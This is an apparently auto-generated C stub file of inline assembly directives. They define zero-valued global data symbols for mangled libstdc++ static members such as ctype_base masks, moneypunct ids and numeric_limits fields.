__asm__(".globl _ZNSt10ctype_base5graphE; .pushsection .data; .type _ZNSt10ctype_base5graphE,@object; .size _ZNSt10ctype_base5graphE, 2; _ZNSt10ctype_base5graphE: .long 0; .popsection");
__asm__(".globl _ZNSt10ctype_base5lowerE; .pushsection .data; .type _ZNSt10ctype_base5lowerE,@object; .size _ZNSt10ctype_base5lowerE, 2; _ZNSt10ctype_base5lowerE: .long 0; .popsection");
__asm__(".globl _ZNSt10ctype_base5printE; .pushsection .data; .type _ZNSt10ctype_base5printE,@object; .size _ZNSt10ctype_base5printE, 2; _ZNSt10ctype_base5printE: .long 0; .popsection");
__asm__(".globl _ZNSt10ctype_base5punctE; .pushsection .data; .type _ZNSt10ctype_base5punctE,@object; .size _ZNSt10ctype_base5punctE, 2; _ZNSt10ctype_base5punctE: .long 0; .popsection");
__asm__(".globl _ZNSt10ctype_base5spaceE; .pushsection .data; .type _ZNSt10ctype_base5spaceE,@object; .size _ZNSt10ctype_base5spaceE, 2; _ZNSt10ctype_base5spaceE: .long 0; .popsection");
__asm__(".globl _ZNSt10ctype_base5upperE; .pushsection .data; .type _ZNSt10ctype_base5upperE,@object; .size _ZNSt10ctype_base5upperE, 2; _ZNSt10ctype_base5upperE: .long 0; .popsection");
__asm__(".globl _ZNSt10ctype_base6xdigitE; .pushsection .data; .type _ZNSt10ctype_base6xdigitE,@object; .size _ZNSt10ctype_base6xdigitE, 2; _ZNSt10ctype_base6xdigitE: .long 0; .popsection");
__asm__(".globl _ZNSt10money_base18_S_default_patternE; .pushsection .data; .type _ZNSt10money_base18_S_default_patternE,@object; .size _ZNSt10money_base18_S_default_patternE, 4; _ZNSt10money_base18_S_default_patternE: .long 0; .popsection");
__asm__(".globl _ZNSt10money_base8_S_atomsE; .pushsection .data; .type _ZNSt10money_base8_S_atomsE,@object; .size _ZNSt10money_base8_S_atomsE, 4; _ZNSt10money_base8_S_atomsE: .long 0; .popsection");
__asm__(".globl _ZNSt10moneypunctIcLb0EE2idE; .pushsection .data; .type _ZNSt10moneypunctIcLb0EE2idE,@object; .size _ZNSt10moneypunctIcLb0EE2idE, 4; _ZNSt10moneypunctIcLb0EE2idE: .long 0; .popsection");
__asm__(".globl _ZNSt10moneypunctIcLb0EE4intlE; .pushsection .data; .type _ZNSt10moneypunctIcLb0EE4intlE,@object; .size _ZNSt10moneypunctIcLb0EE4intlE, 1; _ZNSt10moneypunctIcLb0EE4intlE: .long 0; .popsection");
__asm__(".globl _ZNSt10moneypunctIcLb1EE2idE; .pushsection .data; .type _ZNSt10moneypunctIcLb1EE2idE,@object; .size _ZNSt10moneypunctIcLb1EE2idE, 4; _ZNSt10moneypunctIcLb1EE2idE: .long 0; .popsection");
__asm__(".globl _ZNSt10moneypunctIcLb1EE4intlE; .pushsection .data; .type _ZNSt10moneypunctIcLb1EE4intlE,@object; .size _ZNSt10moneypunctIcLb1EE4intlE, 1; _ZNSt10moneypunctIcLb1EE4intlE: .long 0; .popsection");
__asm__(".globl _ZNSt10moneypunctIwLb0EE2idE; .pushsection .data; .type _ZNSt10moneypunctIwLb0EE2idE,@object; .size _ZNSt10moneypunctIwLb0EE2idE, 4; _ZNSt10moneypunctIwLb0EE2idE: .long 0; .popsection");
__asm__(".globl _ZNSt10moneypunctIwLb0EE4intlE; .pushsection .data; .type _ZNSt10moneypunctIwLb0EE4intlE,@object; .size _ZNSt10moneypunctIwLb0EE4intlE, 1; _ZNSt10moneypunctIwLb0EE4intlE: .long 0; .popsection");
__asm__(".globl _ZNSt10moneypunctIwLb1EE2idE; .pushsection .data; .type _ZNSt10moneypunctIwLb1EE2idE,@object; .size _ZNSt10moneypunctIwLb1EE2idE, 4; _ZNSt10moneypunctIwLb1EE2idE: .long 0; .popsection");
__asm__(".globl _ZNSt10moneypunctIwLb1EE4intlE; .pushsection .data; .type _ZNSt10moneypunctIwLb1EE4intlE,@object; .size _ZNSt10moneypunctIwLb1EE4intlE, 1; _ZNSt10moneypunctIwLb1EE4intlE: .long 0; .popsection");
__asm__(".globl _ZNSt11__timepunctIcE2idE; .pushsection .data; .type _ZNSt11__timepunctIcE2idE,@object; .size _ZNSt11__timepunctIcE2idE, 4; _ZNSt11__timepunctIcE2idE: .long 0; .popsection");
__asm__(".globl _ZNSt11__timepunctIwE2idE; .pushsection .data; .type _ZNSt11__timepunctIwE2idE,@object; .size _ZNSt11__timepunctIwE2idE, 4; _ZNSt11__timepunctIwE2idE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIaE10has_denormE; .pushsection .data; .type _ZNSt14numeric_limitsIaE10has_denormE,@object; .size _ZNSt14numeric_limitsIaE10has_denormE, 4; _ZNSt14numeric_limitsIaE10has_denormE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIaE10is_boundedE; .pushsection .data; .type _ZNSt14numeric_limitsIaE10is_boundedE,@object; .size _ZNSt14numeric_limitsIaE10is_boundedE, 1; _ZNSt14numeric_limitsIaE10is_boundedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIaE10is_integerE; .pushsection .data; .type _ZNSt14numeric_limitsIaE10is_integerE,@object; .size _ZNSt14numeric_limitsIaE10is_integerE, 1; _ZNSt14numeric_limitsIaE10is_integerE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIaE11round_styleE; .pushsection .data; .type _ZNSt14numeric_limitsIaE11round_styleE,@object; .size _ZNSt14numeric_limitsIaE11round_styleE, 4; _ZNSt14numeric_limitsIaE11round_styleE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIaE12has_infinityE; .pushsection .data; .type _ZNSt14numeric_limitsIaE12has_infinityE,@object; .size _ZNSt14numeric_limitsIaE12has_infinityE, 1; _ZNSt14numeric_limitsIaE12has_infinityE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIaE12max_exponentE; .pushsection .data; .type _ZNSt14numeric_limitsIaE12max_exponentE,@object; .size _ZNSt14numeric_limitsIaE12max_exponentE, 4; _ZNSt14numeric_limitsIaE12max_exponentE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIaE12min_exponentE; .pushsection .data; .type _ZNSt14numeric_limitsIaE12min_exponentE,@object; .size _ZNSt14numeric_limitsIaE12min_exponentE, 4; _ZNSt14numeric_limitsIaE12min_exponentE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIaE13has_quiet_NaNE; .pushsection .data; .type _ZNSt14numeric_limitsIaE13has_quiet_NaNE,@object; .size _ZNSt14numeric_limitsIaE13has_quiet_NaNE, 1; _ZNSt14numeric_limitsIaE13has_quiet_NaNE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIaE14is_specializedE; .pushsection .data; .type _ZNSt14numeric_limitsIaE14is_specializedE,@object; .size _ZNSt14numeric_limitsIaE14is_specializedE, 1; _ZNSt14numeric_limitsIaE14is_specializedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIaE14max_exponent10E; .pushsection .data; .type _ZNSt14numeric_limitsIaE14max_exponent10E,@object; .size _ZNSt14numeric_limitsIaE14max_exponent10E, 4; _ZNSt14numeric_limitsIaE14max_exponent10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIaE14min_exponent10E; .pushsection .data; .type _ZNSt14numeric_limitsIaE14min_exponent10E,@object; .size _ZNSt14numeric_limitsIaE14min_exponent10E, 4; _ZNSt14numeric_limitsIaE14min_exponent10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIaE15has_denorm_lossE; .pushsection .data; .type _ZNSt14numeric_limitsIaE15has_denorm_lossE,@object; .size _ZNSt14numeric_limitsIaE15has_denorm_lossE, 1; _ZNSt14numeric_limitsIaE15has_denorm_lossE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIaE15tinyness_beforeE; .pushsection .data; .type _ZNSt14numeric_limitsIaE15tinyness_beforeE,@object; .size _ZNSt14numeric_limitsIaE15tinyness_beforeE, 1; _ZNSt14numeric_limitsIaE15tinyness_beforeE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIaE17has_signaling_NaNE; .pushsection .data; .type _ZNSt14numeric_limitsIaE17has_signaling_NaNE,@object; .size _ZNSt14numeric_limitsIaE17has_signaling_NaNE, 1; _ZNSt14numeric_limitsIaE17has_signaling_NaNE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIaE5radixE; .pushsection .data; .type _ZNSt14numeric_limitsIaE5radixE,@object; .size _ZNSt14numeric_limitsIaE5radixE, 4; _ZNSt14numeric_limitsIaE5radixE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIaE5trapsE; .pushsection .data; .type _ZNSt14numeric_limitsIaE5trapsE,@object; .size _ZNSt14numeric_limitsIaE5trapsE, 1; _ZNSt14numeric_limitsIaE5trapsE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIaE6digitsE; .pushsection .data; .type _ZNSt14numeric_limitsIaE6digitsE,@object; .size _ZNSt14numeric_limitsIaE6digitsE, 4; _ZNSt14numeric_limitsIaE6digitsE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIaE8digits10E; .pushsection .data; .type _ZNSt14numeric_limitsIaE8digits10E,@object; .size _ZNSt14numeric_limitsIaE8digits10E, 4; _ZNSt14numeric_limitsIaE8digits10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIaE8is_exactE; .pushsection .data; .type _ZNSt14numeric_limitsIaE8is_exactE,@object; .size _ZNSt14numeric_limitsIaE8is_exactE, 1; _ZNSt14numeric_limitsIaE8is_exactE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIaE9is_iec559E; .pushsection .data; .type _ZNSt14numeric_limitsIaE9is_iec559E,@object; .size _ZNSt14numeric_limitsIaE9is_iec559E, 1; _ZNSt14numeric_limitsIaE9is_iec559E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIaE9is_moduloE; .pushsection .data; .type _ZNSt14numeric_limitsIaE9is_moduloE,@object; .size _ZNSt14numeric_limitsIaE9is_moduloE, 1; _ZNSt14numeric_limitsIaE9is_moduloE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIaE9is_signedE; .pushsection .data; .type _ZNSt14numeric_limitsIaE9is_signedE,@object; .size _ZNSt14numeric_limitsIaE9is_signedE, 1; _ZNSt14numeric_limitsIaE9is_signedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIbE10has_denormE; .pushsection .data; .type _ZNSt14numeric_limitsIbE10has_denormE,@object; .size _ZNSt14numeric_limitsIbE10has_denormE, 4; _ZNSt14numeric_limitsIbE10has_denormE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIbE10is_boundedE; .pushsection .data; .type _ZNSt14numeric_limitsIbE10is_boundedE,@object; .size _ZNSt14numeric_limitsIbE10is_boundedE, 1; _ZNSt14numeric_limitsIbE10is_boundedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIbE10is_integerE; .pushsection .data; .type _ZNSt14numeric_limitsIbE10is_integerE,@object; .size _ZNSt14numeric_limitsIbE10is_integerE, 1; _ZNSt14numeric_limitsIbE10is_integerE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIbE11round_styleE; .pushsection .data; .type _ZNSt14numeric_limitsIbE11round_styleE,@object; .size _ZNSt14numeric_limitsIbE11round_styleE, 4; _ZNSt14numeric_limitsIbE11round_styleE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIbE12has_infinityE; .pushsection .data; .type _ZNSt14numeric_limitsIbE12has_infinityE,@object; .size _ZNSt14numeric_limitsIbE12has_infinityE, 1; _ZNSt14numeric_limitsIbE12has_infinityE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIbE12max_exponentE; .pushsection .data; .type _ZNSt14numeric_limitsIbE12max_exponentE,@object; .size _ZNSt14numeric_limitsIbE12max_exponentE, 4; _ZNSt14numeric_limitsIbE12max_exponentE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIbE12min_exponentE; .pushsection .data; .type _ZNSt14numeric_limitsIbE12min_exponentE,@object; .size _ZNSt14numeric_limitsIbE12min_exponentE, 4; _ZNSt14numeric_limitsIbE12min_exponentE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIbE13has_quiet_NaNE; .pushsection .data; .type _ZNSt14numeric_limitsIbE13has_quiet_NaNE,@object; .size _ZNSt14numeric_limitsIbE13has_quiet_NaNE, 1; _ZNSt14numeric_limitsIbE13has_quiet_NaNE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIbE14is_specializedE; .pushsection .data; .type _ZNSt14numeric_limitsIbE14is_specializedE,@object; .size _ZNSt14numeric_limitsIbE14is_specializedE, 1; _ZNSt14numeric_limitsIbE14is_specializedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIbE14max_exponent10E; .pushsection .data; .type _ZNSt14numeric_limitsIbE14max_exponent10E,@object; .size _ZNSt14numeric_limitsIbE14max_exponent10E, 4; _ZNSt14numeric_limitsIbE14max_exponent10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIbE14min_exponent10E; .pushsection .data; .type _ZNSt14numeric_limitsIbE14min_exponent10E,@object; .size _ZNSt14numeric_limitsIbE14min_exponent10E, 4; _ZNSt14numeric_limitsIbE14min_exponent10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIbE15has_denorm_lossE; .pushsection .data; .type _ZNSt14numeric_limitsIbE15has_denorm_lossE,@object; .size _ZNSt14numeric_limitsIbE15has_denorm_lossE, 1; _ZNSt14numeric_limitsIbE15has_denorm_lossE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIbE15tinyness_beforeE; .pushsection .data; .type _ZNSt14numeric_limitsIbE15tinyness_beforeE,@object; .size _ZNSt14numeric_limitsIbE15tinyness_beforeE, 1; _ZNSt14numeric_limitsIbE15tinyness_beforeE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIbE17has_signaling_NaNE; .pushsection .data; .type _ZNSt14numeric_limitsIbE17has_signaling_NaNE,@object; .size _ZNSt14numeric_limitsIbE17has_signaling_NaNE, 1; _ZNSt14numeric_limitsIbE17has_signaling_NaNE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIbE5radixE; .pushsection .data; .type _ZNSt14numeric_limitsIbE5radixE,@object; .size _ZNSt14numeric_limitsIbE5radixE, 4; _ZNSt14numeric_limitsIbE5radixE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIbE5trapsE; .pushsection .data; .type _ZNSt14numeric_limitsIbE5trapsE,@object; .size _ZNSt14numeric_limitsIbE5trapsE, 1; _ZNSt14numeric_limitsIbE5trapsE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIbE6digitsE; .pushsection .data; .type _ZNSt14numeric_limitsIbE6digitsE,@object; .size _ZNSt14numeric_limitsIbE6digitsE, 4; _ZNSt14numeric_limitsIbE6digitsE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIbE8digits10E; .pushsection .data; .type _ZNSt14numeric_limitsIbE8digits10E,@object; .size _ZNSt14numeric_limitsIbE8digits10E, 4; _ZNSt14numeric_limitsIbE8digits10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIbE8is_exactE; .pushsection .data; .type _ZNSt14numeric_limitsIbE8is_exactE,@object; .size _ZNSt14numeric_limitsIbE8is_exactE, 1; _ZNSt14numeric_limitsIbE8is_exactE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIbE9is_iec559E; .pushsection .data; .type _ZNSt14numeric_limitsIbE9is_iec559E,@object; .size _ZNSt14numeric_limitsIbE9is_iec559E, 1; _ZNSt14numeric_limitsIbE9is_iec559E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIbE9is_moduloE; .pushsection .data; .type _ZNSt14numeric_limitsIbE9is_moduloE,@object; .size _ZNSt14numeric_limitsIbE9is_moduloE, 1; _ZNSt14numeric_limitsIbE9is_moduloE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIbE9is_signedE; .pushsection .data; .type _ZNSt14numeric_limitsIbE9is_signedE,@object; .size _ZNSt14numeric_limitsIbE9is_signedE, 1; _ZNSt14numeric_limitsIbE9is_signedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIcE10has_denormE; .pushsection .data; .type _ZNSt14numeric_limitsIcE10has_denormE,@object; .size _ZNSt14numeric_limitsIcE10has_denormE, 4; _ZNSt14numeric_limitsIcE10has_denormE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIcE10is_boundedE; .pushsection .data; .type _ZNSt14numeric_limitsIcE10is_boundedE,@object; .size _ZNSt14numeric_limitsIcE10is_boundedE, 1; _ZNSt14numeric_limitsIcE10is_boundedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIcE10is_integerE; .pushsection .data; .type _ZNSt14numeric_limitsIcE10is_integerE,@object; .size _ZNSt14numeric_limitsIcE10is_integerE, 1; _ZNSt14numeric_limitsIcE10is_integerE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIcE11round_styleE; .pushsection .data; .type _ZNSt14numeric_limitsIcE11round_styleE,@object; .size _ZNSt14numeric_limitsIcE11round_styleE, 4; _ZNSt14numeric_limitsIcE11round_styleE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIcE12has_infinityE; .pushsection .data; .type _ZNSt14numeric_limitsIcE12has_infinityE,@object; .size _ZNSt14numeric_limitsIcE12has_infinityE, 1; _ZNSt14numeric_limitsIcE12has_infinityE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIcE12max_exponentE; .pushsection .data; .type _ZNSt14numeric_limitsIcE12max_exponentE,@object; .size _ZNSt14numeric_limitsIcE12max_exponentE, 4; _ZNSt14numeric_limitsIcE12max_exponentE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIcE12min_exponentE; .pushsection .data; .type _ZNSt14numeric_limitsIcE12min_exponentE,@object; .size _ZNSt14numeric_limitsIcE12min_exponentE, 4; _ZNSt14numeric_limitsIcE12min_exponentE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIcE13has_quiet_NaNE; .pushsection .data; .type _ZNSt14numeric_limitsIcE13has_quiet_NaNE,@object; .size _ZNSt14numeric_limitsIcE13has_quiet_NaNE, 1; _ZNSt14numeric_limitsIcE13has_quiet_NaNE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIcE14is_specializedE; .pushsection .data; .type _ZNSt14numeric_limitsIcE14is_specializedE,@object; .size _ZNSt14numeric_limitsIcE14is_specializedE, 1; _ZNSt14numeric_limitsIcE14is_specializedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIcE14max_exponent10E; .pushsection .data; .type _ZNSt14numeric_limitsIcE14max_exponent10E,@object; .size _ZNSt14numeric_limitsIcE14max_exponent10E, 4; _ZNSt14numeric_limitsIcE14max_exponent10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIcE14min_exponent10E; .pushsection .data; .type _ZNSt14numeric_limitsIcE14min_exponent10E,@object; .size _ZNSt14numeric_limitsIcE14min_exponent10E, 4; _ZNSt14numeric_limitsIcE14min_exponent10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIcE15has_denorm_lossE; .pushsection .data; .type _ZNSt14numeric_limitsIcE15has_denorm_lossE,@object; .size _ZNSt14numeric_limitsIcE15has_denorm_lossE, 1; _ZNSt14numeric_limitsIcE15has_denorm_lossE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIcE15tinyness_beforeE; .pushsection .data; .type _ZNSt14numeric_limitsIcE15tinyness_beforeE,@object; .size _ZNSt14numeric_limitsIcE15tinyness_beforeE, 1; _ZNSt14numeric_limitsIcE15tinyness_beforeE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIcE17has_signaling_NaNE; .pushsection .data; .type _ZNSt14numeric_limitsIcE17has_signaling_NaNE,@object; .size _ZNSt14numeric_limitsIcE17has_signaling_NaNE, 1; _ZNSt14numeric_limitsIcE17has_signaling_NaNE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIcE5radixE; .pushsection .data; .type _ZNSt14numeric_limitsIcE5radixE,@object; .size _ZNSt14numeric_limitsIcE5radixE, 4; _ZNSt14numeric_limitsIcE5radixE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIcE5trapsE; .pushsection .data; .type _ZNSt14numeric_limitsIcE5trapsE,@object; .size _ZNSt14numeric_limitsIcE5trapsE, 1; _ZNSt14numeric_limitsIcE5trapsE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIcE6digitsE; .pushsection .data; .type _ZNSt14numeric_limitsIcE6digitsE,@object; .size _ZNSt14numeric_limitsIcE6digitsE, 4; _ZNSt14numeric_limitsIcE6digitsE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIcE8digits10E; .pushsection .data; .type _ZNSt14numeric_limitsIcE8digits10E,@object; .size _ZNSt14numeric_limitsIcE8digits10E, 4; _ZNSt14numeric_limitsIcE8digits10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIcE8is_exactE; .pushsection .data; .type _ZNSt14numeric_limitsIcE8is_exactE,@object; .size _ZNSt14numeric_limitsIcE8is_exactE, 1; _ZNSt14numeric_limitsIcE8is_exactE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIcE9is_iec559E; .pushsection .data; .type _ZNSt14numeric_limitsIcE9is_iec559E,@object; .size _ZNSt14numeric_limitsIcE9is_iec559E, 1; _ZNSt14numeric_limitsIcE9is_iec559E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIcE9is_moduloE; .pushsection .data; .type _ZNSt14numeric_limitsIcE9is_moduloE,@object; .size _ZNSt14numeric_limitsIcE9is_moduloE, 1; _ZNSt14numeric_limitsIcE9is_moduloE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIcE9is_signedE; .pushsection .data; .type _ZNSt14numeric_limitsIcE9is_signedE,@object; .size _ZNSt14numeric_limitsIcE9is_signedE, 1; _ZNSt14numeric_limitsIcE9is_signedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIdE10has_denormE; .pushsection .data; .type _ZNSt14numeric_limitsIdE10has_denormE,@object; .size _ZNSt14numeric_limitsIdE10has_denormE, 4; _ZNSt14numeric_limitsIdE10has_denormE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIdE10is_boundedE; .pushsection .data; .type _ZNSt14numeric_limitsIdE10is_boundedE,@object; .size _ZNSt14numeric_limitsIdE10is_boundedE, 1; _ZNSt14numeric_limitsIdE10is_boundedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIdE10is_integerE; .pushsection .data; .type _ZNSt14numeric_limitsIdE10is_integerE,@object; .size _ZNSt14numeric_limitsIdE10is_integerE, 1; _ZNSt14numeric_limitsIdE10is_integerE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIdE11round_styleE; .pushsection .data; .type _ZNSt14numeric_limitsIdE11round_styleE,@object; .size _ZNSt14numeric_limitsIdE11round_styleE, 4; _ZNSt14numeric_limitsIdE11round_styleE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIdE12has_infinityE; .pushsection .data; .type _ZNSt14numeric_limitsIdE12has_infinityE,@object; .size _ZNSt14numeric_limitsIdE12has_infinityE, 1; _ZNSt14numeric_limitsIdE12has_infinityE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIdE12max_exponentE; .pushsection .data; .type _ZNSt14numeric_limitsIdE12max_exponentE,@object; .size _ZNSt14numeric_limitsIdE12max_exponentE, 4; _ZNSt14numeric_limitsIdE12max_exponentE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIdE12min_exponentE; .pushsection .data; .type _ZNSt14numeric_limitsIdE12min_exponentE,@object; .size _ZNSt14numeric_limitsIdE12min_exponentE, 4; _ZNSt14numeric_limitsIdE12min_exponentE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIdE13has_quiet_NaNE; .pushsection .data; .type _ZNSt14numeric_limitsIdE13has_quiet_NaNE,@object; .size _ZNSt14numeric_limitsIdE13has_quiet_NaNE, 1; _ZNSt14numeric_limitsIdE13has_quiet_NaNE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIdE14is_specializedE; .pushsection .data; .type _ZNSt14numeric_limitsIdE14is_specializedE,@object; .size _ZNSt14numeric_limitsIdE14is_specializedE, 1; _ZNSt14numeric_limitsIdE14is_specializedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIdE14max_exponent10E; .pushsection .data; .type _ZNSt14numeric_limitsIdE14max_exponent10E,@object; .size _ZNSt14numeric_limitsIdE14max_exponent10E, 4; _ZNSt14numeric_limitsIdE14max_exponent10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIdE14min_exponent10E; .pushsection .data; .type _ZNSt14numeric_limitsIdE14min_exponent10E,@object; .size _ZNSt14numeric_limitsIdE14min_exponent10E, 4; _ZNSt14numeric_limitsIdE14min_exponent10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIdE15has_denorm_lossE; .pushsection .data; .type _ZNSt14numeric_limitsIdE15has_denorm_lossE,@object; .size _ZNSt14numeric_limitsIdE15has_denorm_lossE, 1; _ZNSt14numeric_limitsIdE15has_denorm_lossE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIdE15tinyness_beforeE; .pushsection .data; .type _ZNSt14numeric_limitsIdE15tinyness_beforeE,@object; .size _ZNSt14numeric_limitsIdE15tinyness_beforeE, 1; _ZNSt14numeric_limitsIdE15tinyness_beforeE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIdE17has_signaling_NaNE; .pushsection .data; .type _ZNSt14numeric_limitsIdE17has_signaling_NaNE,@object; .size _ZNSt14numeric_limitsIdE17has_signaling_NaNE, 1; _ZNSt14numeric_limitsIdE17has_signaling_NaNE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIdE5radixE; .pushsection .data; .type _ZNSt14numeric_limitsIdE5radixE,@object; .size _ZNSt14numeric_limitsIdE5radixE, 4; _ZNSt14numeric_limitsIdE5radixE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIdE5trapsE; .pushsection .data; .type _ZNSt14numeric_limitsIdE5trapsE,@object; .size _ZNSt14numeric_limitsIdE5trapsE, 1; _ZNSt14numeric_limitsIdE5trapsE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIdE6digitsE; .pushsection .data; .type _ZNSt14numeric_limitsIdE6digitsE,@object; .size _ZNSt14numeric_limitsIdE6digitsE, 4; _ZNSt14numeric_limitsIdE6digitsE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIdE8digits10E; .pushsection .data; .type _ZNSt14numeric_limitsIdE8digits10E,@object; .size _ZNSt14numeric_limitsIdE8digits10E, 4; _ZNSt14numeric_limitsIdE8digits10E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIdE8is_exactE; .pushsection .data; .type _ZNSt14numeric_limitsIdE8is_exactE,@object; .size _ZNSt14numeric_limitsIdE8is_exactE, 1; _ZNSt14numeric_limitsIdE8is_exactE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIdE9is_iec559E; .pushsection .data; .type _ZNSt14numeric_limitsIdE9is_iec559E,@object; .size _ZNSt14numeric_limitsIdE9is_iec559E, 1; _ZNSt14numeric_limitsIdE9is_iec559E: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIdE9is_moduloE; .pushsection .data; .type _ZNSt14numeric_limitsIdE9is_moduloE,@object; .size _ZNSt14numeric_limitsIdE9is_moduloE, 1; _ZNSt14numeric_limitsIdE9is_moduloE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIdE9is_signedE; .pushsection .data; .type _ZNSt14numeric_limitsIdE9is_signedE,@object; .size _ZNSt14numeric_limitsIdE9is_signedE, 1; _ZNSt14numeric_limitsIdE9is_signedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIeE10has_denormE; .pushsection .data; .type _ZNSt14numeric_limitsIeE10has_denormE,@object; .size _ZNSt14numeric_limitsIeE10has_denormE, 4; _ZNSt14numeric_limitsIeE10has_denormE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIeE10is_boundedE; .pushsection .data; .type _ZNSt14numeric_limitsIeE10is_boundedE,@object; .size _ZNSt14numeric_limitsIeE10is_boundedE, 1; _ZNSt14numeric_limitsIeE10is_boundedE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIeE10is_integerE; .pushsection .data; .type _ZNSt14numeric_limitsIeE10is_integerE,@object; .size _ZNSt14numeric_limitsIeE10is_integerE, 1; _ZNSt14numeric_limitsIeE10is_integerE: .long 0; .popsection");
__asm__(".globl _ZNSt14numeric_limitsIeE11round_styleE; .pushsection .data; .type _ZNSt14numeric_limitsIeE11round_styleE,@object; .size _ZNSt14numeric_limitsIeE11round_styleE, 4; _ZNSt14numeric_limitsIeE11round_styleE: .long 0; .popsection");
